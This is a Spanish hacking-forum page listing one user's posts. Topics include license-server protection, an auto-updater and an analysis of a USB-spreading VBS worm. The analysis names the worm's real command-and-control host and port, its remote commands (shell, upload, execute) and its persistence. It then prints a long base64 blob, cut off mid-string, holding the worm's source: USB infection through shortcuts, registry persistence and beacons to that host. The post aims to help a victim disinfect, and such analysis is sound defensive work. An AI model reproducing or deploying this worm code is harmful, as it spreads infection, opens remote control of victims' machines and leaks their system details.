elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 ... 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 [43] 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ... 102
421  Programación / .NET (C#, VB.NET, ASP) / Re: Sistema de login muy seguro en: 17 Octubre 2013, 14:31 pm
No me he explicado bien.

Tu sistema es bueno, pero también se puede "crackear" a parte que su implantación tiene un coste de gestión elevadísimo si lo extrapolamos a gran escala (Necesitas tener la capacidad de generar una copia única cifrada para cada cliente, así como su HWID y su contraseña. Cada actualización que realices supone modificar el 100% de las licencias distribuidas a clientes, etc...). Por no hablar que limitas el uso de la aplicación a clientes con Internet permanente.

En cuanto un cliente legítimo realice la validación, el server envía la contraseña y se des-cifra el ejecutable, no? En ese momento el cliente puede dumpear el ejecutable des-cifrado y almacenar una copia del software sin "protección", pudiendo distribuirla por la red libremente.
422  Programación / Programación Visual Basic / Re: [APP & SOURCE] Smart Updater - Añade un auto-actualizador a tus programas FACIL en: 17 Octubre 2013, 14:24 pm
Amigo una ultima petición y no te fastidio mas  :-[ como tengo que hacerlo, para que aparezca el actualizador automáticamente, cuando haya una nueva versión??

Es decir que el programa se ejecute en segundo plano, verifique si hay actualización, si hay se lanza el mensaje de que hay nuevas actualizaciones y si no hay, que el actualizador se cierre y continué todo normal.

Si es mucho trabajo, no te preocupes, con lo que hiciste estoy muy contento  ;-)
Hay que hacer algunas modificaciones, se me ocurre lo siguiente:

Subir a tu FTP un archivo llamado version.txt dentro del fichero poner por ejemplo 1.1
El ejecutable principal de tu programa tendrá almacenada su versión actual, por ejemplo 1.0. El programa descarga el fichero version.txt y compara el 1.1 con 1.0, al ser distintos lanza un mensaje para que se active el lanzador. Te lo voy a escribir en pseudo-codigo:

Código
  1. Sub Main()
  2. MyVersion = "1.0"
  3. FTP_Version = DownloadFile("version.txt")
  4. If MyVersion <> FTP_Version Then
  5.  If MsgBox "Hay una nueva version, deseas actualizar?" = vbYes Then
  6.   Shell "smartupdater.exe /auto"
  7.   End
  8.  End If
  9. End Sub
  10.  

Sería eso a groso modo, evidentemente tienes que codearlo bien, con su sintaxis y todo. De todas fromas (sin acritud) desconozco ese "proyecto" importante que estás haciendo, pero si no eres capaz ni de programar una función similar... significa que no debe ser un "proyecto importante" como dices xD

He leído varios posts tuyos y tienes dudas de nivel-1. No quieras empezar una casa por el tejado :D
423  Seguridad Informática / Análisis y Diseño de Malware / Re: Infeccion de USB y equipo por "fyzbnaksvu..vbs" en: 16 Octubre 2013, 22:16 pm
Bueno, visto que nadie se ha animado, me dispongo a realizar yo mismo el análisis de éste "virus".

Es algo parecido a una botnet, el virus infecta el equipo y espera recibir ordenes y acciones que atacante emite a través de una web. El virus "escucha" las acciones que debe ejecutar en el PC infectado consultando la siguiente url:

update-flash.servehttp.com:666

Se instala en la startupfolder, por ejemplo: C:\Users\%USER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\virus.vbs

El virus manda el comando "is-ready" para decirle al atacante que ya está instalado y a la espera de ejecutar ordenes. El atacante puede emitir los siguientes comandos:

case "excecute"
case "update"
case "uninstall"
case "send"
case "site-send"
case "recv"
case  "enum-driver"
case  "enum-faf"
case  "enum-process"
case  "cmd-shell"
case  "delete"
case  "exit-process"
case  "sleep"

El nombre de cada comando es bastante significativo, y me llama la atención el comando "unistall". Si el programador lo ha hecho bien, ejecuta manualmente la función "unistall" y deberás quedar desinfectado de éste virus de forma automática, una forma de hacerlo es ejecutando el siguiente código VBS:

Código
  1. host = "update-flash.servehttp.com"
  2. port = 666
  3. installdir = "%temp%"
  4. lnkfile = true
  5. lnkfolder = true
  6.  
  7. dim shellobj
  8. set shellobj = wscript.createobject("wscript.shell")
  9. dim filesystemobj
  10. set filesystemobj = createobject("scripting.filesystemobject")
  11. dim httpobj
  12. set httpobj = createobject("msxml2.xmlhttp")
  13.  
  14.  
  15. '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  16.  
  17. installname = wscript.scriptname
  18. startup = shellobj.specialfolders ("startup") & "\"
  19. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  20. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  21. spliter = "<" & "|" & ">"
  22. sleep = 5000
  23. dim response
  24. dim cmd
  25. dim param
  26. info = ""
  27. usbspreading = ""
  28. startdate = ""
  29. dim oneonce
  30.  
  31. '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  32. on error resume next
  33. dim filename
  34. dim foldername
  35.  
  36. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  37. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  38. filesystemobj.deletefile startup & installname ,true
  39. filesystemobj.deletefile wscript.scriptfullname ,true
  40.  
  41. for  each drive in filesystemobj.drives
  42. if  drive.isready = true then
  43. if  drive.freespace  > 0 then
  44. if  drive.drivetype  = 1 then
  45.    for  each file in filesystemobj.getfolder ( drive.path & "\").files
  46.         on error resume next
  47.         if  instr (file.name,".") then
  48.             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  49.                 file.attributes = 0
  50.                 if  ucase (file.name) <> ucase (installname) then
  51.                     filename = split(file.name,".")
  52.                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  53.                 else
  54.                     filesystemobj.deletefile (drive.path & "\" & file.name)
  55.                 end If
  56.             else
  57.                 filesystemobj.deletefile (file.path)
  58.             end if
  59.         end if
  60.     next
  61.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  62.         folder.attributes = 0
  63.     next
  64. end if
  65. end if
  66. end if
  67. next
  68. msgbox "desinfectado"
  69. wscript.quit

Dime si te ha funcionado. Saludos!! :D
424  Programación / Programación Visual Basic / Re: ¿Existe este componente para vb6? en: 16 Octubre 2013, 17:25 pm
Hay muchos controles de usuario (componentes para VB6) en la red, desconozco si ese en concreto existe o está disponible. Lo que sí puedo adelantarte es que VB6 permite diseñar tus propios controles de usuario, dependiendo de tu nivel, experiencia y dedicación puedes llegar a programar algo similar (o incluso mejor).

De todas formas, juzgando por la foto, creo que no han usado ningún control personalizado, creo que solo es un bonito diseño en photoshop, AlphaBend y sustitución de imágenes con el evento OnMouseMove
425  Programación / .NET (C#, VB.NET, ASP) / Re: Sistema de login muy seguro en: 16 Octubre 2013, 14:13 pm
Pues yo tengo una solución verdaderamente segura, con la que es 99.9% imposible crackear tu aplicación.

Primero: encriptas el .exe compilado de tu programa con algún cifrado con contraseña (tipo AES, así, el archivo varía según la contraseña, por lo tanto, es imposible recuperar el archivo original sin esa contraseña)

Luego, creas un "loader" que se encargará de enviar el Hardware ID (HWID) al servidor.
En el servidor, compruebas que el HWID esté en la base de datos. Si lo está, envías la contraseña al cliente para que desencripte el programa original y se pueda ejecutar. Si no es un HWID que esté en tu base de datos de HWIDs válidos, envías una contraseña aleatoria y el archivo no podrá ser descifrado.

Esto es imposible de crackear (eso sí, si la contraseña es 12345, no esperes que dure mucho). Si pones una contraseña larga y jodida, nadie podrá jamás ejecutar ese código, ya que, para bruteforcear eso, necesitas muchísimos años de crackeo.

Ese sistema es bastante seguro, un servidor de licencias :)

Pero se puede "alterar" de varias formas dependiendo el modo en que implementes la protección. Por ejemplo un cliente que ya haga la validación HWID y tenga la aplicación descifrada, podrá volcar-lo en un nuevo fichero y distribuir la copia por la red (por ejemplo).

Per es cierto que un license-server es bastante seguro :)
426  Programación / Programación Visual Basic / Re: [APP & SOURCE] Smart Updater - Añade un auto-actualizador a tus programas FACIL en: 16 Octubre 2013, 12:22 pm
Amigo habra alguna manera de agregar una barra de progreso a medida que se descargan los archivos? Si es mucho trabjo no te preocupes.

Funciona perfecto amigo :D

una pregunta hay algún limite de tamaño para actualizar los archivos?? pretendo que se actualicen unos 400mb


saludos

Por la forma en que he programado el downloader no se puede agregar una barra de progreso. Lo que he añadido es un label que indica que fichero está descargando y cuando ha finalizado de descargar todos los ficheros. Se podría añadir una animación que indique al usuario que está descargando y que no desespere, así quedaría más bonito.

No hay ningún límite de descarga, si tienes que actualizar 400MB lo puedes hacer, lo mejor es que lo pruebes en tu PC primero. Smart Updater sirve tambien como FileIntegrityCheck. Si un fichero es borrado o modificado (aunque sea un bit) será actualizado por la comprobación CRC32, pruebalo y me cuentas :)
427  Seguridad Informática / Análisis y Diseño de Malware / Re: Infeccion de USB y equipo por "fyzbnaksvu..vbs" en: 16 Octubre 2013, 11:14 am
Hola, pues mi hermano trajo una USB y el no tiene mucha conciencia de las medidas de seguridad para abrir un dispositivo que ha estado en una maquina publica, la cosa es que se me infecto la computadora y pude llegar al culpable, es un script de visual basic llamado "fyzbnaksvu..vbs" (si, lleva 2 puntos)

Les pongo aqui el "codigo fuente" que encontre al abrie el vbs con bloc de notas:
(la pondre en pastebin, espero que en el foro ya implementen la opcion de poner spoilers o cajas de texto que me cortó cuando quise publicarlo en un bloque CODE)

http://pastebin.com/NH8nYxub

Si alguien puede decirme que hace y como deshacerme de el, le estaria muy agradecido, digo, acabo de formatear con W8 hace 5 dias y ya pasa esto? XD

Bueno, de antemano, muchas gracias. Saludos!

Hola!! Gracias por publicar semejante código, está muy bien programado y es interesante :P, el "virus" está enmascarado con 2 cifrados, el primero es una simple codificación ascii, se puede resolver añadiendo el siguiente código al final (quitando el EXECUTEGLOBAL):

Código
  1. Set fs = CreateObject("Scripting.FileSystemObject")
  2. Set a = fs.CreateTextFile("dump.txt", True)
  3. a.WriteLine(AAA)
  4. a.Close

El código devuelve un fichero llamado dump.txt con el primer "cifrado" resuelto:

Código
  1. ABC = deCrypt("JzxbIHJlY29kZXIgOiBob3VkaW5pIChjKSBza3lwZSA6IGhvdWRpbmktZnggXT4NCg0KJz0tPS09LT0tPSBjb25maWcgPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KaG9zdCA9ICJ1cGRhdGUtZmxhc2guc2VydmVodHRwLmNvbSINCnBvcnQgPSA2NjYNCmluc3RhbGxkaXIgPSAiJXRlbXAlIg0KbG5rZmlsZSA9IHRydWUNCmxua2ZvbGRlciA9IHRydWUNCg0KJz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KZGltIHNoZWxsb2JqIA0Kc2V0IHNoZWxsb2JqID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIndzY3JpcHQuc2hlbGwiKQ0KZGltIGZpbGVzeXN0ZW1vYmoNCnNldCBmaWxlc3lzdGVtb2JqID0gY3JlYXRlb2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQpkaW0gaHR0cG9iag0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCg0KDQonPS09LT0tPS09IHByaXZhdCB2YXIgPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KaW5zdGFsbG5hbWUgPSB3c2NyaXB0LnNjcmlwdG5hbWUNCnN0YXJ0dXAgPSBzaGVsbG9iai5zcGVjaWFsZm9sZGVycyAoInN0YXJ0dXAiKSAmICJcIg0KaW5zdGFsbGRpciA9IHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncyhpbnN0YWxsZGlyKSAmICJcIg0KaWYgbm90IGZpbGVzeXN0ZW1vYmouZm9sZGVyZXhpc3RzKGluc3RhbGxkaXIpIHRoZW4gIGluc3RhbGxkaXIgPSBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoIiV0ZW1wJSIpICYgIlwiDQpzcGxpdGVyID0gIjwiICYgInwiICYgIj4iDQpzbGVlcCA9IDUwMDAgDQpkaW0gcmVzcG9uc2UNCmRpbSBjbWQNCmRpbSBwYXJhbQ0KaW5mbyA9ICIiDQp1c2JzcHJlYWRpbmcgPSAiIg0Kc3RhcnRkYXRlID0gIiINCmRpbSBvbmVvbmNlDQoNCic9LT0tPS09LT0gY29kZSBzdGFydCA9LT0tPS09LT0tPS09LT0tPS09LT0tPQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0KDQppbnN0YW5jZQ0Kd2hpbGUgdHJ1ZQ0KDQppbnN0YWxsDQoNCnJlc3BvbnNlID0gIiINCnJlc3BvbnNlID0gcG9zdCAoImlzLXJlYWR5IiwiIikNCmNtZCA9IHNwbGl0IChyZXNwb25zZSxzcGxpdGVyKQ0Kc2VsZWN0IGNhc2UgY21kICgwKQ0KY2FzZSAiZXhjZWN1dGUiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIGV4ZWN1dGUgcGFyYW0NCmNhc2UgInVwZGF0ZSINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgb25lb25jZS5jbG9zZQ0KICAgICAgc2V0IG9uZW9uY2UgPSAgZmlsZXN5c3RlbW9iai5vcGVudGV4dGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAsMiwgZmFsc2UpDQogICAgICBvbmVvbmNlLndyaXRlIHBhcmFtDQogICAgICBvbmVvbmNlLmNsb3NlDQogICAgICBzaGVsbG9iai5ydW4gIndzY3JpcHQuZXhlIC8vQiAiICYgY2hyKDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocigzNCkNCiAgICAgIHdzY3JpcHQucXVpdCANCmNhc2UgInVuaW5zdGFsbCINCiAgICAgIHVuaW5zdGFsbA0KY2FzZSAic2VuZCINCiAgICAgIGRvd25sb2FkIGNtZCAoMSksY21kICgyKQ0KY2FzZSAic2l0ZS1zZW5kIg0KICAgICAgc2l0ZWRvd25sb2FkZXIgY21kICgxKSxjbWQgKDIpDQpjYXNlICJyZWN2Ig0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICB1cGxvYWQgKHBhcmFtKQ0KY2FzZSAgImVudW0tZHJpdmVyIg0KICAgICAgcG9zdCAiaXMtZW51bS1kcml2ZXIiLGVudW1kcml2ZXIgIA0KY2FzZSAgImVudW0tZmFmIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBwb3N0ICJpcy1lbnVtLWZhZiIsZW51bWZhZiAocGFyYW0pDQpjYXNlICAiZW51bS1wcm9jZXNzIg0KICAgICAgcG9zdCAiaXMtZW51bS1wcm9jZXNzIixlbnVtcHJvY2VzcyAgIA0KY2FzZSAgImNtZC1zaGVsbCINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgcG9zdCAiaXMtY21kLXNoZWxsIixjbWRzaGVsbCAocGFyYW0pICANCmNhc2UgICJkZWxldGUiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIGRlbGV0ZWZhZiAocGFyYW0pIA0KY2FzZSAgImV4aXQtcHJvY2VzcyINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgZXhpdHByb2Nlc3MgKHBhcmFtKSANCmNhc2UgICJzbGVlcCINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgc2xlZXAgPSBldmFsIChwYXJhbSkgICAgICAgIA0KZW5kIHNlbGVjdA0KDQp3c2NyaXB0LnNsZWVwIHNsZWVwDQoNCndlbmQNCg0KDQpzdWIgaW5zdGFsbA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmRpbSBsbmtvYmoNCmRpbSBmaWxlbmFtZQ0KZGltIGZvbGRlcm5hbWUNCmRpbSBmaWxlaWNvbg0KZGltIGZvbGRlcmljb24NCg0KdXBzdGFydA0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCg0KaWYgIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmlmICBkcml2ZS5mcmVlc3BhY2UgID4gMCB0aGVuDQppZiAgZHJpdmUuZHJpdmV0eXBlICA9IDEgdGhlbg0KICAgIGZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSAsIGRyaXZlLnBhdGggJiAiXCIgJiBpbnN0YWxsbmFtZSx0cnVlDQogICAgaWYgIGZpbGVzeXN0ZW1vYmouZmlsZWV4aXN0cyAoZHJpdmUucGF0aCAmICJcIiAmIGluc3RhbGxuYW1lKSAgdGhlbg0KICAgICAgICBmaWxlc3lzdGVtb2JqLmdldGZpbGUoZHJpdmUucGF0aCAmICJcIiAgJiBpbnN0YWxsbmFtZSkuYXR0cmlidXRlcyA9IDIrNA0KICAgIGVuZCBpZg0KICAgIGZvciBlYWNoIGZpbGUgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJiAiXCIgKS5GaWxlcw0KICAgICAgICBpZiBub3QgbG5rZmlsZSB0aGVuIGV4aXQgZm9yDQogICAgICAgIGlmICBpbnN0ciAoZmlsZS5uYW1lLCIuIikgdGhlbg0KICAgICAgICAgICAgaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikgKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KICAgICAgICAgICAgICAgIGZpbGUuYXR0cmlidXRlcyA9IDIrNA0KICAgICAgICAgICAgICAgIGlmICB1Y2FzZSAoZmlsZS5uYW1lKSA8PiB1Y2FzZSAoaW5zdGFsbG5hbWUpIHRoZW4NCiAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KICAgICAgICAgICAgICAgICAgICBzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJiAiXCIgICYgZmlsZW5hbWUgKDApICYgIi5sbmsiKSANCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KICAgICAgICAgICAgICAgICAgICBsbmtvYmoudGFyZ2V0cGF0aCA9ICJjbWQuZXhlIg0KICAgICAgICAgICAgICAgICAgICBsbmtvYmoud29ya2luZ2RpcmVjdG9yeSA9ICIiDQogICAgICAgICAgICAgICAgICAgIGxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiAmIHJlcGxhY2UoaW5zdGFsbG5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmICImc3RhcnQgIiAmIHJlcGxhY2UoZmlsZS5uYW1lLCIgIiwgY2hydygzNCkgJiAiICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCiAgICAgICAgICAgICAgICAgICAgZmlsZWljb24gPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcIiAmIHNoZWxsb2JqLnJlZ3JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcY2xhc3Nlc1wuIiAmIHNwbGl0KGZpbGUubmFtZSwgIi4iKSh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkmICJcIikgJiAiXGRlZmF1bHRpY29uXCIpIA0KICAgICAgICAgICAgICAgICAgICBpZiAgaW5zdHIgKGZpbGVpY29uLCIsIikgPSAwIHRoZW4NCiAgICAgICAgICAgICAgICAgICAgICAgIGxua29iai5pY29ubG9jYXRpb24gPSBmaWxlLnBhdGgNCiAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgICAgICAgIGxua29iai5pY29ubG9jYXRpb24gPSBmaWxlaWNvbg0KICAgICAgICAgICAgICAgICAgICBlbmQgaWYNCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLnNhdmUoKQ0KICAgICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgICAgZW5kIGlmDQogICAgICAgIGVuZCBpZg0KICAgIG5leHQNCiAgICBmb3IgZWFjaCBmb2xkZXIgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJiAiXCIgKS5zdWJmb2xkZXJzDQogICAgICAgIGlmIG5vdCBsbmtmb2xkZXIgdGhlbiBleGl0IGZvcg0KICAgICAgICBmb2xkZXIuYXR0cmlidXRlcyA9IDIrNA0KICAgICAgICBmb2xkZXJuYW1lID0gZm9sZGVyLm5hbWUNCiAgICAgICAgc2V0IGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZXNob3J0Y3V0IChkcml2ZS5wYXRoICYgIlwiICAmIGZvbGRlcm5hbWUgJiAiLmxuayIpIA0KICAgICAgICBsbmtvYmoud2luZG93c3R5bGUgPSA3DQogICAgICAgIGxua29iai50YXJnZXRwYXRoID0gImNtZC5leGUiDQogICAgICAgIGxua29iai53b3JraW5nZGlyZWN0b3J5ID0gIiINCiAgICAgICAgbG5rb2JqLmFyZ3VtZW50cyA9ICIvYyBzdGFydCAiICYgcmVwbGFjZShpbnN0YWxsbmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYgIiZzdGFydCBleHBsb3JlciAiICYgcmVwbGFjZShmb2xkZXIubmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYiJmV4aXQiDQogICAgICAgIGZvbGRlcmljb24gPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcZm9sZGVyXGRlZmF1bHRpY29uXCIpIA0KICAgICAgICBpZiAgaW5zdHIgKGZvbGRlcmljb24sIiwiKSA9IDAgdGhlbg0KICAgICAgICAgICAgbG5rb2JqLmljb25sb2NhdGlvbiA9IGZvbGRlci5wYXRoDQogICAgICAgIGVsc2UgDQogICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZm9sZGVyaWNvbg0KICAgICAgICBlbmQgaWYNCiAgICAgICAgbG5rb2JqLnNhdmUoKQ0KICAgIG5leHQNCmVuZCBJZg0KZW5kIElmDQplbmQgaWYNCm5leHQNCmVyci5jbGVhcg0KZW5kIHN1Yg0KDQpzdWIgdW5pbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZGltIGZpbGVuYW1lDQpkaW0gZm9sZGVybmFtZQ0KDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCnNoZWxsb2JqLnJlZ2RlbGV0ZSAiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSBzdGFydHVwICYgaW5zdGFsbG5hbWUgLHRydWUNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lICx0cnVlDQoNCmZvciAgZWFjaCBkcml2ZSBpbiBmaWxlc3lzdGVtb2JqLmRyaXZlcw0KaWYgIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmlmICBkcml2ZS5mcmVlc3BhY2UgID4gMCB0aGVuDQppZiAgZHJpdmUuZHJpdmV0eXBlICA9IDEgdGhlbg0KICAgIGZvciAgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyICggZHJpdmUucGF0aCAmICJcIikuZmlsZXMNCiAgICAgICAgIG9uIGVycm9yIHJlc3VtZSBuZXh0DQogICAgICAgICBpZiAgaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCiAgICAgICAgICAgICBpZiAgbGNhc2UgKHNwbGl0KGZpbGUubmFtZSwgIi4iKSh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkpIDw+ICJsbmsiIHRoZW4NCiAgICAgICAgICAgICAgICAgZmlsZS5hdHRyaWJ1dGVzID0gMA0KICAgICAgICAgICAgICAgICBpZiAgdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQogICAgICAgICAgICAgICAgICAgICBmaWxlbmFtZSA9IHNwbGl0KGZpbGUubmFtZSwiLiIpDQogICAgICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGRyaXZlLnBhdGggJiAiXCIgJiBmaWxlbmFtZSgwKSAmICIubG5rIiApDQogICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgIGZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSAoZHJpdmUucGF0aCAmICJcIiAmIGZpbGUubmFtZSkNCiAgICAgICAgICAgICAgICAgZW5kIElmDQogICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGZpbGUucGF0aCkgDQogICAgICAgICAgICAgZW5kIGlmDQogICAgICAgICBlbmQgaWYNCiAgICAgbmV4dA0KICAgICBmb3IgZWFjaCBmb2xkZXIgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJiAiXCIgKS5zdWJmb2xkZXJzDQogICAgICAgICBmb2xkZXIuYXR0cmlidXRlcyA9IDANCiAgICAgbmV4dA0KZW5kIGlmDQplbmQgaWYNCmVuZCBpZg0KbmV4dA0Kd3NjcmlwdC5xdWl0DQplbmQgc3ViDQoNCmZ1bmN0aW9uIHBvc3QgKGNtZCAscGFyYW0pDQoNCnBvc3QgPSBwYXJhbQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgY21kLCBmYWxzZQ0KaHR0cG9iai5zZXRyZXF1ZXN0aGVhZGVyICJ1c2VyLWFnZW50OiIsaW5mb3JtYXRpb24NCmh0dHBvYmouc2VuZCBwYXJhbQ0KcG9zdCA9IGh0dHBvYmoucmVzcG9uc2V0ZXh0DQplbmQgZnVuY3Rpb24NCg0KZnVuY3Rpb24gaW5mb3JtYXRpb24NCm9uIGVycm9yIHJlc3VtZSBuZXh0DQppZiAgaW5mID0gIiIgdGhlbg0KICAgIGluZiA9IGh3aWQgJiBzcGxpdGVyIA0KICAgIGluZiA9IGluZiAgJiBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgJiBzcGxpdGVyIA0KICAgIGluZiA9IGluZiAgJiBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoIiV1c2VybmFtZSUiKSAmIHNwbGl0ZXINCg0KICAgIHNldCByb290ID0gZ2V0b2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbmxldmVsPWltcGVyc29uYXRlfSFcXC5ccm9vdFxjaW12MiIpDQogICAgc2V0IG9zID0gcm9vdC5leGVjcXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIpDQogICAgZm9yIGVhY2ggb3NpbmZvIGluIG9zDQogICAgICAgaW5mID0gaW5mICYgb3NpbmZvLmNhcHRpb24gJiBzcGxpdGVyICANCiAgICAgICBleGl0IGZvcg0KICAgIG5leHQNCiAgICBpbmYgPSBpbmYgJiAicGx1cyIgJiBzcGxpdGVyDQogICAgaW5mID0gaW5mICYgc2VjdXJpdHkgJiBzcGxpdGVyDQogICAgaW5mID0gaW5mICYgdXNic3ByZWFkaW5nDQogICAgaW5mb3JtYXRpb24gPSBpbmYgIA0KZWxzZQ0KICAgIGluZm9ybWF0aW9uID0gaW5mDQplbmQgaWYNCmVuZCBmdW5jdGlvbg0KDQoNCnN1YiB1cHN0YXJ0ICgpDQpvbiBlcnJvciByZXN1bWUgTmV4dA0KDQpzaGVsbG9iai5yZWd3cml0ZSAiSEtFWV9DVVJSRU5UX1VTRVJcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZSAvL0IgIiAmIGNocncoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgY2hydygzNCkgLCAiUkVHX1NaIg0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApLCAgIndzY3JpcHQuZXhlIC8vQiAiICAmIGNocncoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgY2hydygzNCkgLCAiUkVHX1NaIg0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSx0cnVlDQpmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUsc3RhcnR1cCAmIGluc3RhbGxuYW1lICx0cnVlDQoNCmVuZCBzdWINCg0KDQpmdW5jdG